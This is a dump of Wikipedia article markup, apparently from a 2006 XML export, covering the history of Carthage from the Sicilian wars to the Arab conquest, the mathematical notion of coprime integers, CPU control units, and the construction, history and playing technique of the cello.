En route to Sicily, however, Hamilcar suffered losses (possibly severe) due to poor weather. Landing at Panormus (modern-day [[Palermo]]), he was then decisively defeated by Gelon at the [[Battle of Himera (480 BC)|Battle of Himera]]. He was either killed during the battle or committed suicide in shame. The loss severely weakened Carthage, and the old government of entrenched nobility was ousted, replaced by the Carthaginian Republic.

===Second Sicilian War===
By [[410 BC]] Carthage had recovered under a series of successful rulers. It had conquered much of modern day [[Tunisia]], strengthened and founded new colonies in North Africa, and sponsored [[Mago Barca]]'s journey across the [[Sahara Desert]] and [[Hanno the Navigator]]'s journey down the African coast. Although, in that year, the Iberian colonies seceded&amp;mdash;cutting off Carthage's major supply of [[silver]] and [[copper]]&amp;mdash;Hannibal Mago, the grandson of Hamilcar, began preparations to reclaim Sicily, while expeditions were also led into [[Morocco]] and [[Senegal]], and also into the [[Atlantic Ocean|Atlantic]].

In [[409 BC]], Hannibal Mago set out for Sicily with his force. He was successful in capturing the smaller cities of Selinus (modern [[Selinunte]]) and [[Himera]], before returning triumphantly to Carthage with the spoils of war. But the primary enemy, Syracuse, remained untouched, and in [[405 BC]] Hannibal Mago led a second Carthaginian expedition, this time to claim the island in its entirety. This time, however, he met with fierce resistance and ill-fortune. During the [[siege]] of [[Agrigentum]], the Carthaginian forces were ravaged by plague, Hannibal Mago himself succumbing to it. Although his successor, [[Himilco]], successfully extended the campaign by breaking a Greek siege, capturing the city of [[Gela]] and repeatedly defeating the army of [[Dionysius I of Syracuse|Dionysius]], the new tyrant of Syracuse, he, too, was weakened by the plague and forced to [[sue for peace]] before returning to Carthage.

In [[398 BC]], Dionysius had regained his strength and broke the peace treaty, striking at the Carthaginian stronghold of [[Motya]]. Himilco responded decisively, leading an expedition which not only reclaimed Motya, but also captured [[Messina, Italy|Messina]]. Finally, he laid siege to Syracuse itself. The siege met with great success throughout [[397 BC]], but in [[396 BC]] plague again ravaged the Carthaginian forces, and they collapsed.

Sicily by this time had become an obsession for Carthage. Over the next sixty years, Carthaginian and Greek forces engaged in a constant series of skirmishes. By [[340 BC]], Carthage had been pushed entirely into the southwest corner of the island, and an uneasy peace reigned over the island.

===Third Sicilian War===
In [[315 BC]] [[Agathocles]], the tyrant of Syracuse, seized the city of [[Messene]] (present-day Messina).  In [[311 BC]] he invaded the last Carthaginian holdings on Sicily, breaking the terms of the current peace treaty, and laid siege to [[Agrigentum|Akragas]].

[[Hamilcar]], grandson of [[Hanno the Navigator]], led the Carthaginian response and met with tremendous success. By [[310 BC]] he controlled almost all of Sicily and had laid siege to Syracuse itself. In desperation, Agathocles secretly led an expedition of 14,000 men to the mainland, hoping to save his rule by leading a counterstrike against Carthage itself. In this, he was successful: Carthage was forced to recall Hamilcar and most of his army from Sicily to face the new and unexpected threat. Although Agathocles' army was eventually defeated in [[307 BC]], Agathocles himself escaped back to Sicily and was able to negotiate a peace which maintained Syracuse as a stronghold of Greek power in Sicily.

===Pyrrhus of Epirus===
Between [[280 BC]] and [[275 BC]], [[Pyrrhus of Epirus]] waged two major campaigns in an effort to protect and extend the influence of the Greeks in the western Mediterranean: one against the emerging power of the [[Roman Republic]] to defend the [[Greek colonies]] in southern Italy, the other against Carthage in a renewed attempt to wrest Sicily wholly from their control.

After winning a complete victory over Rome at Heraclea, and another complete yet very costly victory at Asculum, Pyrrhus was soon distracted by opportunities in mainland Greece which had recently been invaded by the [[Gauls]], and the Greeks of Sicily. Making a temporary peace with the Romans he left for Sicily and between 278-276 BC, defeated every Carthaginian force against him. Pyrrhus even managed to take Eryx, the strongest Carthaginian holdout. Yet at Lilybaeum, the Carthaginians were able to hold out against Pyrrhus, and the invader soon found that he was no longer welcome by the Greek Sicilians. Leaving once again for Italy, he fought the Romans once more to a draw. Not having the resources and manpower to continue, Pyrrhus left for Epirus. For Carthage, this meant a return to the status quo. For Rome, however, it meant capturing [[Tarentum]] and holding the entirety of Italy. The result was a shift in the balance of power in the western Mediterranean: the Greeks were effectively reduced to their toehold in Sicily, while Rome's growing strength and territorial ambitions brought it directly into conflict with Carthage for the first time.

===The Messanan Crisis===
When Agathocles died in [[288 BC]], a large company of Italian mercenaries who had previously been held in his service found themselves suddenly without employment. Rather than leave Sicily, they seized the city of Messana. Naming themselves [[Mamertines]] (or &quot;sons of Mars&quot;), they became a law unto themselves, terrorizing the surrounding countryside.

The Mamertines became a growing threat to Carthage and Syracuse alike. In [[265 BC]], [[Hiero II of Syracuse|Hiero II]], former general of Pyrrhus and the new tyrant of Syracuse, took action against them. Faced with a vastly superior force, the Mamertines divided into two factions, one advocating surrender to Carthage, the other preferring to seek aid from Rome. As a result, embassies were sent to both cities.

While the [[Roman Senate]] debated the best course of action, the Carthaginians eagerly agreed to send a garrison to Messana. A Carthaginian garrison was admitted to the city, and a Carthaginian fleet sailed into the Messanan harbor. However, soon afterwards they began negotiating with Hiero; alarmed, the Mamertines sent another embassy to Rome asking them to expel the Carthaginians.

Hiero's intervention had placed Carthage's military forces directly across the narrow channel of water that separated Sicily from Italy. Moreover, the presence of the Carthaginian fleet gave them effective control over this channel, the [[Strait of Messina]], and demonstrated a clear and present danger to nearby Rome and her interests.

As a result, the Roman Assembly, although reluctant to ally with a band of mercenaries, sent an expeditionary force to return control of Messana to the Mamertines.

===The Punic Wars===
The Roman attack on the Carthaginian forces at Messana triggered the first of the [[Punic Wars]]. Over the course of the next century, these three major conflicts between Rome and Carthage would determine the course of Western civilization.

*The [[First Punic War]] ([[264 BC]] to [[241 BC]])
*The [[Second Punic War]] ([[218 BC]] to [[201 BC]])
*The [[Third Punic War]] ([[149 BC]] to [[146 BC]])

Rome consistently triumphed over Carthage during the Punic Wars. The end of the Third Punic War resulted in the end of Carthaginian power and the complete destruction of the city by [[Scipio Aemilianus]]: Roman soldiers went from house to house, slaughtering the people of Carthage and enslaving any who survived. Carthage's harbor was burned and the city razed.

Between the first and the second Punic war, Carthage faced a major [[Mercenary War|mercenary revolt]]. During the mercenary revolt Rome was able to acquire [[Sardinia]].

It is disputed whether the Carthaginian farmland [[Salting the earth|was salted]] following the [[Battle of Carthage]].

==Roman Carthage==
[[Image:Follis-Domitius Alexander-carthage RIC 68.jpg|thumb|300px|[[Domitius Alexander]] on a [[follis]]. On the reverse, the personification of Carthage, his capital.]]
The site was too well-chosen to let it go to waste, however, and a new city grew up there, eventually becoming the second largest city in the western half of the [[Roman empire]]. By the late 2nd century, Carthage was the center of the Roman province of [[Africa Province, Roman Empire|Africa]], with a population of 500,000 people. It briefly became the capital of an usurper, [[Domitius Alexander]], in 308-311.

Carthage also became a centre of early [[Christianity]].  [[Tertullian]] rhetorically addresses the Roman governor with the fact that the Christians of Carthage that just yesterday were few in number, now &quot;have filled every place among you&amp;mdash;cities, islands, fortresses, towns, market-places, the very camp, tribes, companies, palaces, senate, forum; we have left nothing to you but the temples of your gods.&quot; (''[[Apologeticus]]'' written at Carthage, c. 197.)  It is worth noting that Tertullian omits any mention of the surrounding countryside or its network of villas not unlike colonial [[hacienda]] society.

In the first of a string of rather poorly reported Councils at Carthage a few years later, no fewer than seventy bishops attended. Tertullian later broke with the mainstream that was represented more and more by the bishop of Rome, but a more serious rift among Christians was the [[Donatist]] controversy, which [[Augustine of Hippo]] spent much time and parchment arguing against. In 397 at the [[Council at Carthage]], the [[Biblical canon]] for the western Church was confirmed.

The political fallout from the deep disaffection of African Christians was a crucial factor in the ease with which Carthage and the other centres were captured in the 5th century by [[Gaiseric]], king of the [[Vandals]], who defeated the [[Byzantine Empire|Byzantine]] [[general]] [[Bonifacius]] and made the city his capital. Gaiseric was considered a heretic too, an [[Arianism|Arian]], and though Arians commonly despised Catholic Christians, a mere promise of toleration might have caused the city's population to accept him. After a failed attempt to recapture the city in the 5th century, the Byzantines finally subdued the Vandals in the 6th century. Using Gaiseric's grandson's deposal by a distant cousin, [[Gelimer]], as a pretext, the Byzantines dispatched an army to conquer the Vandal kingdom. On Sunday, [[October 15]] [[533]], the Byzantine general [[Belisarius]], accompanied by his wife [[Antonina]], made his formal entry into Carthage, sparing it a sack and a [[massacre]].

During the emperor [[Maurice (emperor)|Maurice]]'s reign, Carthage was made into an [[Exarchate]], as was [[Ravenna]] in [[Italy]]. These two exarchates were the western bulwarks of Byzantium, all that remained of its power in the west. In the early 7th century, it was the Exarch of Carthage, [[Heraclius]] (of [[Armenians|Armenian]] origin), who overthrew Emperor [[Phocas]].

The Byzantine Exarchate was not, however, able to withstand the [[Arab]] conquerors of the 7th century. The first Arab assault on the Exarchate of Carthage was initiated from [[Egypt]] without much success in 647. A more protracted campaign lasted from 670-683. In 698 the [[Exarchate of Africa]] was finally overrun by the rising forces of [[Islam]], and Carthage itself was destroyed by the Arab invaders, to be replaced by [[Tunis]] as the major regional center.   The destruction of the [[Exarchate of Africa]] marked a permanent end to Roman or Byzantine influence there, as the rising tide of Islam shattered the empire.

== Carthage in fiction ==
*''[[Hannibal's Children]]'', an [[Alternate history (fiction)|alternate history]] novel, about the Carthaginians.
*[[Gustave Flaubert]], ''[[Salammbô (novel)|Salammbô]]'', a novel on the mercenary wars in North Africa and around Carthage.
*[[Isaac Asimov]], ''[[The Dead Past]]'', a science fiction story in which Carthage is a scientific interest of one of the characters; concisely mentions all major facts about it.
* [[John Barnes (author)|John Barnes]] wrote the Timeline wars series of science fiction stories, which has several timelines where Carthage wins and enslaves other timelines.
*''[[Pride of Carthage]]'', a novel accounting Hannibal Barca's campaign against Rome, by [[David Anthony Durham]].
*''The Young Carthaginian'', a novel about the Carthaginians by [[G. A. Henty]].

==References==
#''[[Hannibal]]'s Campaigns''. Tony Bath. New York, NY: Barnes &amp; Noble Books, 1981.
#''Late Carthaginian Child Sacrifice and Sacrificial Monuments in their Mediterranean Context''. Shelby Brown. Sheffield: Sheffield Academic Press, 1991.
#''La vie quotidienne à Carthage au temps d'Hannibal.'' Gilbert et Colette Charles-Picard. Paris: Hachette, 1958.
#''La légende de Carthage''. Azedine Beschaouch. Paris: Gallimard, 1993.
#''Carthage: Uncovering the Mysteries and Splendors of Ancient Tunisia''. David Soren, Aicha Ben Abed Ben Kader, Heidi Slim. New York: Simon and Schuster, 1990.
#''The Phoenicians and the West:  Politics, colonies and trade''. Maria Eugenia Aubet. Cambridge:  Cambridge University Press, 1987.
#''Itineraria Phoenicia''.Edward Lipinski. Leuven: Uitgeverij Peeters en Departement Oosterse Studies, 2004.
#Carthage is also the codename of the mysterious fifth sector in the French animation series, ''[[Code Lyoko]]''
&quot;Aeneid&quot; Virgil

==See also==
{{Commons|Carthage}}
*[[List of Kings of Carthage]]


[[Category:Ancient peoples]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Archaeological sites in Tunisia]]
[[Category:Carthage]]
[[Category:Destroyed cities]]
[[Category:History of the Maghreb]]
[[Category:History of Tunisia]]
[[Category:Phoenician colonies]]
[[Category:Roman sites in Tunisia]]
[[Category:World Heritage Sites in Tunisia]]

[[ar:قرطاج]]
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[[ko:카르타고]]
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[[zh:迦太基]]</text>
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  <page>
    <title>Coprime</title>
    <id>6556</id>
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      <contributor>
        <username>Dmharvey</username>
        <id>277018</id>
      </contributor>
      <comment>/* Properties */ add pretty pic</comment>
      <text xml:space="preserve">In [[mathematics]], the [[integer|integers]] ''a'' and ''b'' are said to be '''coprime''' or '''relatively prime''' if they have no common [[divisor|factor]] other than 1 and &amp;minus;1, or equivalently, if their [[greatest common divisor]] is 1.

For example, [[6 (number)|6]] and [[35 (number)|35]] are coprime, but 6 and [[27 (number)|27]] are not because they are both divisible by 3. The number [[1 (number)|1]] is coprime to every integer; [[0 (number)|0]] is coprime only to 1 and &amp;minus;1.

A fast way to determine whether two numbers are coprime is given by the [[Euclidean algorithm]].

[[Euler's totient function]] (or Euler's phi function) of a positive integer ''n'' is the number of integers between 1 and ''n'' &amp;minus; 1 which are coprime to ''n''.

== Properties ==

[[Image:coprime-lattice.svg|thumb|right|300px|Figure 1. The numbers 4 and 9 are coprime because the diagonal does not intersect any other lattice points]]

There are a number of conditions which are equivalent to ''a'' and ''b'' being coprime:

*There exist integers ''x'' and ''y'' such that ''ax'' + ''by'' = 1 (see [[Bézout's identity]]).
*The integer ''b'' has a [[multiplicative inverse]] [[modular arithmetic|modulo]] ''a'': there exists an integer ''y'' such that ''by'' &amp;equiv; 1 (mod ''a''). In other words, ''b'' is a [[unit (ring theory)|unit]] in the [[ring (mathematics)|ring]] '''Z'''/''a'''''Z''' of [[modular arithmetic|integers modulo]] ''a''.

As a consequence, if ''a'' and ''b'' are coprime and ''br'' &amp;equiv; ''bs'' ([[modular arithmetic|mod]] ''a''), then ''r'' &amp;equiv; ''s'' (mod ''a'') (because we may &quot;divide by ''b''&quot; when working modulo ''a''). Furthermore, if ''a'' and ''b''&lt;sub&gt;1&lt;/sub&gt; are coprime, and ''a'' and ''b''&lt;sub&gt;2&lt;/sub&gt; are coprime, then ''a'' and ''b''&lt;sub&gt;1&lt;/sub&gt;''b''&lt;sub&gt;2&lt;/sub&gt; are also coprime (because the product of units is a unit).

If ''a'' and ''b'' are coprime and ''a'' divides a product ''bc'', then ''a'' divides ''c''. This can be viewed as a generalisation of [[Euclid's lemma]], which states that if ''p'' is prime, and ''p'' divides a product ''bc'', then either ''p'' divides ''b'' or ''p'' divides ''c''.

The two integers ''a'' and ''b'' are coprime if and only if the point with coordinates (''a'', ''b'') in an [[Cartesian coordinate system]] is &quot;visible&quot; from the origin (0,0), in the sense that there is no point with integer coordinates between the origin and (''a'', ''b''). (See figure 1.)

The [[probability]] that two randomly chosen integers are coprime is 6/&amp;pi;&lt;sup&gt;2&lt;/sup&gt; (see [[pi]]), which is about 60%.

Two [[natural number]]s ''a'' and ''b'' are coprime if and only if the numbers 2&lt;sup&gt;''a''&lt;/sup&gt; &amp;minus; 1 and 2&lt;sup&gt;''b''&lt;/sup&gt; &amp;minus; 1 are coprime.

==Cross notation, group==
If ''n''&amp;ge;1 is an [[integer]], the numbers coprime to ''n'', taken [[modular arithmetic|modulo]] ''n'', form a [[group (mathematics)|group]] with multiplication as operation; it is written as ('''Z'''/''n'''''Z''')&lt;sup&gt;&amp;times;&lt;/sup&gt; or '''Z'''&lt;sub&gt;n&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;.

== Generalizations ==

Two [[ring ideal|ideals]] ''A'' and ''B'' in the [[commutative]] [[ring (algebra)|ring]] ''R'' are called '''coprime''' if ''A'' + ''B'' = ''R''. This generalizes [[Bézout's identity]]: with this definition, two [[principal ideal]]s (''a'') and (''b'') in the ring of integers '''Z''' are coprime if and only if ''a'' and ''b'' are coprime.

If the ideals ''A'' and ''B'' of ''R'' are coprime, then ''AB'' = ''A''&amp;cap;''B''; furthermore, if ''C'' is a third ideal such that ''A'' contains ''BC'', then ''A'' contains ''C''. The [[Chinese Remainder Theorem]] is an important statement about coprime ideals.

The concept of being ''relatively prime'' can also be extended any [[finite]] [[set]] of integers ''S'' = {''a''&lt;sub&gt;1&lt;/sub&gt;, ''a''&lt;sub&gt;2&lt;/sub&gt;, .... ''a''&lt;sub&gt;''n''&lt;/sub&gt;} to mean that the [[greatest common divisor]] of the elements of the set is 1. If every ''pair'' of integers in the set is relatively prime, then the set is called ''pairwise relatively prime''.

Every pairwise relatively prime set is relatively prime; however, the converse is not true: {6, 10, 15} is relatively prime, but not pairwise relative prime. (In fact, each pair of integers in the set has a non-trivial common factor.)

==See also==

*[[Greatest common divisor]]

[[Category:Number theory]]

[[bg:Взаимно прости числа]]
[[de:Teilerfremdheit]]
[[es:Primos entre sí]]
[[fr:Nombres premiers entre eux]]
[[ko:서로 소]]
[[id:Koprima (bilangan)]]
[[it:Interi coprimi]]
[[he:מספרים זרים]]
[[nl:Relatief priem]]
[[pl:Liczby względnie pierwsze]]
[[ru:Взаимно простые числа]]
[[sl:Tuje število]]
[[sv:Relativt prim]]
[[th:จำนวนเฉพาะสัมพัทธ์]]
[[zh:互質]]</text>
    </revision>
  </page>
  <page>
    <title>Control unit</title>
    <id>6557</id>
    <revision>
      <id>41953655</id>
      <timestamp>2006-03-02T21:25:01Z</timestamp>
      <contributor>
        <ip>65.171.255.181</ip>
      </contributor>
      <comment>/* Types of control units */</comment>
      <text xml:space="preserve">A '''control unit''' is the part of a [[Central processing unit|CPU]] or other device that directs its operation. The outputs of the unit control the activity of the rest of the device. A control unit can be thought of as a [[finite state machine]].

At one time control units for CPUs were ad-hoc logic, and they were difficult to design.  Now they are often implemented as a [[microprogram]] that is stored in a [[control store]].  Words of the microprogram are selected by a [[microsequencer]] and the bits from those words directly control the different parts of the device, including the [[processor register|registers]], [[arithmetic and logic unit]]s, [[instruction register]]s, [[Computer bus|buses]], and off-chip [[input/output]]. In modern computers, each of these subsystems may have its own subsidiary controller, with the control unit acting as a supervisor.  (See also [[CPU design]] and [[computer architecture]].) 

== Types of control units ==
All types of control units generate electronic control signals that control other parts of a [[CPU]].  Control units are usually one of these types:&lt;br&gt;
#[[Microcode]]d control units. In a [[microcode]]d control unit, a program reads signals, and generates control signals.  The program itself is executed by a very simple computer, a relatively simple [[digital circuit]] called a [[microsequencer]].&lt;br&gt;
#Hardware control units. In a hardware control unit, a [[digital circuit]] generates the control signals directly.&lt;br&gt;

[[Category:Computer hardware]]

[[es:Unidad de control]]
[[ja:制御装置]]</text>
    </revision>
  </page>
  <page>
    <title>Cello</title>
    <id>6558</id>
    <revision>
      <id>41995807</id>
      <timestamp>2006-03-03T02:48:26Z</timestamp>
      <contributor>
        <username>Dolphind88</username>
        <id>1003819</id>
      </contributor>
      <minor />
      <comment>/* Glue */ clarification</comment>
      <text xml:space="preserve">:''Alternate meaning: [[Cello (web browser)]]''
[[Image:Cello front side.jpg|thumb|A cello]]

The '''cello''' (pronounced &quot;Chello&quot;) or ''''cello,''' short for '''violoncello,''' is a [[stringed instrument]] and a member of the [[violin]] [[violin family|family]]. A cello player is called a '''cellist'''. The cello is popular in many capacities: as a solo instrument, in chamber music, and also as a foundation of the modern orchestral sound.

== Description ==
[[Image:Brikcius.jpg|thumb|Cellist]]
The name ''cello'' is an abbreviation of the [[Italian language|Italian]] ''violoncello'', which means &quot;little violone&quot;. The ''[[violone]]'' is an obsolete instrument, a large [[viol]], similar to a modern [[double bass]].

The cello is most closely associated with [[European classical music]]. It is part of the standard [[orchestra]] and is the bass voice of the [[string quartet]], as well as being part of many other [[chamber music|chamber]] groups. A large number of [[cello concerto|concertos]] and [[cello sonata|sonatas]] have been written for it. It is less common in [[popular music]], but is sometimes featured in [[pop music|pop]] and [[rock music|rock]] recordings. 

Among the most famous [[Baroque]] works for the cello are [[Johann Sebastian Bach|J. S. Bach's]] ''[[Cello Suites (Bach)|Unaccompanied Suites for Cello]],'' commonly known as the Bach Cello Suites). An example of a [[Classical music era|Classical era]] piece is [[Joseph Haydn|Haydn's]] ''Cello Concerto #1 in C major''. Standard [[Romantic music era|Romantic era]] repertoire includes [[Antonín Dvořák|Dvořák's]] ''Cello Concerto in b minor'', [[Sir Edward Elgar|Elgar's]] ''Cello Concerto in e minor'', and two sonatas by [[Johannes Brahms|Brahms]]. Modern compositions from the early [[20th century]] include unaccompanied cello sonatas by [[Paul Hindemith]] ([[opus number|opus]] 25) and [[Zoltán Kodály]] (opus 8). Recordings within the [[Avant Garde]] (cutting edge) genre have revitalized the instrument's perceived versatility. One example is ''Night of the Four Moons'' by [[George Crumb]].

==Construction==
The cello is much larger than the [[violin]] or the [[viola]] but smaller than the [[double bass]]. Like the other members of the [[violin family]], the cello has four strings.  Its strings are normally tuned to the [[pitch (music)|pitches]] (from high to low) A, D, G, and C (A3, D3, G2, and C2 in [[scientific pitch notation]]). This is like the [[viola]] but one octave lower, and is one octave plus one fifth lower than the [[violin]] (see [[#Tuning and range]]).  It is played in an upright position between the legs of a seated musician, resting on a metal spike called the [[endpin]]. The player draws the [[bow (music)|bow]] horizontally across the strings.
The cello is a complex instrument consisting of many different parts. Although the majority of it is composed of [[wood]], some parts can be made of [[steel]] or other metals and/or [[composite material]]. Today, the strings are most often metal but can be made of [[gut]] or [[nylon]].

===Body===
The main frame of the cello is typically made from wood, although some modern cellos are constructed from [[carbon fibre]]. A traditional cello normally has a [[spruce]] top, with [[maple]] for the back, sides, and neck. Other woods, such as [[poplar]] or [[willow]], are sometimes used for the back and sides. Less expensive cellos frequently have a top and back made of a [[Plywood|laminate]]. 

The top and back are traditionally hand-carved, though less expensive cellos are often machine-produced. The sides, or ribs, are made by heating the wood and bending it around forms. The cello body has a wide top bout, narrow middle formed by two C-bouts, and wide bottom bout, with the [[bridge (instrument)|bridge]] and [[f-hole]]s just below the middle.

===Neck, pegbox, and scroll===
Above the main body is the carved neck, which leads to a pegbox and then a scroll. The neck, pegbox, and scroll are normally carved out of a single piece of wood. Attached to the neck and extending over the body of the instrument is the fingerboard. The [[Nut_(instrumental)|nut]] is raised piece of wood fingerboard meets the pegbox which the strings rest on. The pegbox houses four [[tuning peg]]s, each which tunes its respective string by either tightening or loosening the string. The scroll is a traditional part of the cello and all other members of the [[violin family]]. [[Ebony]] is usually used for the tuning pegs, fingerboard, and nut, but other dark woods, such as [[boxwood]] or [[rosewood]], can be used.

===Tailpiece and endpin===
The [[tailpiece]] and endpin are found at the opposite end of the body as the neck. The tailpiece is traditionally made of [[ebony]] or another dark wood, but can also be made of [[plastic]] or [[composite material]]. It attaches the strings to the tail end of the cello. The endpin, made of metal or carbon fibre, supports the cello while in playing position. Modern endpins are usually retractable and adjustable. The end of the endpin touching the floor is usually a spiked tip that can be capped with rubber; both serve to grip the floor and prevent the cello from moving or slipping.

===Bridge and f-holes===
The [[bridge (instrument)|bridge]] elevates the strings above the cello and transfers their vibrations to the soundpost inside (see below). The bridge is not glued on; tension from the strings holds it in place. The [[f-hole]]s (named for their shape) are located on either side of the bridge, and allow air to move in and out of the instrument to produce sound. Additionally, f-holes act as access points to the interior of the body when the need for repair or maintenance arises.  A &quot;dampit&quot;, sometimes used to maintain proper [[humidity]] levels, can also be inserted through the f-holes.

===Internal features===
Internally, the cello has two important features: a [[bass bar]], which is glued to the underside of the top of the instrument, and a round wooden [[sound post]] (also called a sound peg), which is sandwiched between the top and bottom. The bass bar, found under the bass foot of the bridge, serves to support the cello's top, making it rigid. The sound post, found under the treble side of the bridge, connects the back and front of the cello. Like the bridge, the sound post is not glued to anything, but is kept in place by the tensions of the bridge and strings.  Together, the bass bar and sound post are responsible for transfering the strings' vibrations to the body of the instrument, which in turn transfers them to the air mass inside the instrument, producing sound.

===Glue===
Cellos are constructed and repaired using [[Animal_glue|hide glue]], which is strong but reversible, allowing for disassembly when needed. Tops may be glued on with diluted glue, since some repairs call for the removal of the top. Theoretically, hide glue is weaker than the body's wood, so as the top or back shrinks side-to-side, the glue holding it will let go, avoiding a crack in the plate. However, in reality this does not always happen.

===Bow===
[[Image:Bow hand Violoncello.jpg|thumb|right|130px|A Cello Bow]]
Traditionally, [[bow (music)| bows]] are made from Pernambuco (high quality) or Brazilwood (lower quality). Both woods come from the same species of tree ([[Brazilwood|Caesalpina echinata]]), but Pernambuco is the heartwood of the tree and is much darker (Brasil wood is stained/painted dark to compensate). Pernambuco is a heavy, resinous wood with great elasticity and high sound velocity which makes it an ideal wood for instrument bows. The hair is [[horsehair]], though synthetic hair is also available nowadays. In addition, the bow can now be made of fiberglass or carbon fibre (or wood with a carbon fibre core). The hair is coated with [[rosin]] periodically to make it grip the strings and cause them to vibrate. Bows need to be re-haired periodically. The most common reason for rehairing is excessive hair loss through breakage. Hair that has stretched, and will not tighten enough, also calls for professional attention. Some professionals believe that eventually hair can also &quot;lose its grip.&quot; Others disagree, saying that if the ribbon has enough hair, and will tighten properly, a proper cleaning will restore its playing quality. The hair is kept under tension while playing by a screw which pulls the ''frog''/''Heel'' (the part of the bow one holds) back. Leaving the bow tightened for long periods of time can damage it by warping the stick.

==Development==
The cello developed from the bass violin, first used by [[Monteverdi]], which was a three-string consort instrument. The invention of wire-wound [[strings (music)|strings]] (fine wire around a thin gut core), around 1660 in [[Bologna]], allowed for a finer bass sound than was possible with purely gut strings on such a short body. Bolognese makers exploited this new technology to create the cello, a somewhat smaller instrument suitable for solo repertoire due to both the timbre of the instrument and the fact that the smaller size made it easier to play [[virtuoso|virtuosic]] passages. This instrument had disadvantages as well, however. The cello's light sound was not as suitable for church and ensemble playing, so it had to be doubled by [[double bass|basses]] or [[violone]]s. 

Around 1700 Italian players popularized the cello in northern Europe, although the bass violin continued to be used for another two decades in France and England. The sizes, names, and tunings of the cello varied widely by geography and time. The size was not standardized until around 1750.

Despite superficial similarities, the cello is not in fact related to the [[viol|viola da gamba]]. The cello is actually part of the viola da braccio family, meaning viol of the arm, which includes, among others, the [[violin]]. There are actually paintings of people playing the cello on the shoulder, like a giant violin. It was only somewhat later that the cello began to be played on the lap. 

[[Baroque]] era cellos differed from the modern instrument in several ways. The neck has a different form and angle which matches the baroque bass-bar and stringing. Modern cellos have a retractable metal (or sometimes carbon fibre) spike at the bottom to support the instrument (and transmit some of the sound through the floor), while Baroque cellos are held only by the calves of the player. Modern bows curve in and are held at the frog; Baroque bows curve out and are held closer to the bow's point of balance. Modern strings normally have a metal core, although some use a synthetic core; Baroque strings are made of [[gut]], with the G and C strings wire-wound. Modern cellos often have fine-tuners connecting the strings to the tailpiece, which make it much easier to tune the instrument. Overall, the modern instrument has much higher string tension than the Baroque cello, resulting in a louder, more direct, tone, with fewer overtones.

No educational works specifically devoted to the cello existed before the [[18th century]], and those that do exist contain little value to the performer beyond simple accounts of instrumental technique. One of the earliest cello manuals is [[Michel Corrette]]'s ''Méthode, thèorique et pratique. Pour Apprendre en peu de tems le Violoncelle dans sa Perfection'' (Paris, 1741).

==Sound==
The cello produces a deep, rich, and vibrant sound. It has the lowest pitch in the traditional [[string quartet]] and is regarded by some as the instrument producing the sound most resembling the human voice.

==Playing Technique==
===Body Position===
The cello is played sitting, with the knees apart and the instrument between them.  The scroll, or top, of the instrument is placed by the player's left ear, making the C string closest to the ear and the A string furthest from the ear.  The shoulders should be square but relaxed and the arms loose and able to move freely.

In early times, when the cello was played by women, it was positioned to the side of both legs.  It was considered improper for a lady to spread her legs in public.

===Left Hand Technique===
The left hand determines the pitch of the note when the cello is played.  The hand is positioned either so the thumb is against the back of the neck and the other four fingers are available to depress the strings on the fingerboard or with all five fingers above the fingerboard, the side of the thumb being used as well as the tips of the other fingers (known as &quot;thumb position&quot;). The fingers are usually held curved with each knuckle bent.  In fast playing, the fingers contact the strings at the tip, almost at the nail.  In slower, or more expressive playing, the flat of the fingerpad is used, allowing a richer tone and fuller vibrato.  If the string is depressed further down the string, closer to the bridge, the resulting pitch will be higher because the string has been shortened.  If it is depressed further up the string, closer to the scroll of the instrument, the pitch will be lower.

====Additional Left Hand Techniques====
; Vibrato : [[Vibrato]] consists of oscillating the finger of the left hand up and down while playing a note.  As a result, the pitch of the note will waver slightly, much as a singer's voice on a sustained note.  A well developed vibrato technique is a key expressive device and an essential element of an accomplished cello player.  In some styles of music, such as that of the [[Romantic Music|Romantic]] period, vibrato is used on almost every note.  However, in other styles, such as [[Baroque]] pieces, vibrato is not used, or used only rarely.  A good vibrato comes from the arm, not the fingers or wrist, and requires a loose shoulder.  Typically, the lower the pitch of the note played, the wider the vibrato used.
; Glissandi : [[Glissandi]] are notes played by sliding the finger up or down the fingerboard without releasing the string.  This causes the pitch to rise and fall smoothly, without [[discrete]] steps.
; Harmonics : [[Harmonics]] are produced by touching, but not depressing, the string with the finger at certain places, and then bowing or plucking the string.  For example, the halfway point of the string will produce a harmonic that is one octave above the unfingered string.  There also exist fingered, or artificial harmonics, in which the player depressed the string with one finger and presses light to produce a harmonic further up the string with a second finger.

===Right Hand Technique===
In cello playing, the bow is much like the breath of a [[wind instrument]] player.  Arguably, it is the major determinant in the expressiveness of the playing.  The right hand holds the bow and controls the duration and character of the notes.  The bow is drawn over along the strings in the area between the [[fingerboard]] and bridge, in a direction perpendicular to the strings.  The bow is gripped with all five fingers of the right hand.  The shape of the hand should resemble that of its relaxed state, with all fingers curved, including the thumb, and the wrist pronated.  The index finger, and to a lesser degree the middle finger transmit most of the arm weight into the bow.  The other two fingers help to control the bow.

On a &quot;down-bow&quot;, the bow is drawn towards the right, moving the hand away from the bridge.  On an &quot;up-bow&quot;, the bow is drawn the other way, bringing the hand closer to the bridge.  The bow is always held perpendicular to the string being played.  Each string requires a slightly different angle of the bow.  The wrist is kept extremely flexible, and cushions the movement of the bow to avoid abrupt changes, especially during the switch from up-bow to down-bow and vice versa.  For very fast bow movements, the wrist is used to accomplish the horizontal movement of bow.  For longer strokes, the arm is used as well as the wrist.  

Tone production and volume of sound depend on a combination of several factors, including bow speed, the amount of weight applied to the string, and the bow placement, or spot on the string touched by the bow hair. A good player will be capable of a very even tone, and will counter the natural tendency to play with the most force with the part of the bow nearest to the frog or heel, and the least force near the tip.  The closer to the bridge the string is bowed, the louder and brighter the tone, with the extreme (''sul ponticello'') producing a metalic, shimmery sound.  If it is bowed closer to the fingerboard (''sul tasto''), the sound produced will be softer, more mellow, and less defined.

====Additonal Right Hand Techniques====
; Double Stops : [[Double stop|Double stops]] involve the playing of two notes at the same time.  Two strings are fingered simultaneously, and the bow is drawn at an angle so as to sound them both at once.  Triple and quadruple stops may also be played, but are difficult to sustain.
; Pizzicato : In [[pizzicato]] playing, the string is plucked with the right hand fingers, or very rarely those of the left hand, and the bow is simply held away from the strings by the rest of the hand or even set down.  A single string can be played ''pizzicato,'' or double, triple, or quadruple stops can be played.  Ocassionally, a player must bow one string with the right hand and simultaneously pluck another with the left.
; Col Legno : [[Col legno]] is technique in which the player taps the wooden stick of the bow on the strings, which gives a light percussive sound that is quite often used in contemporary music.
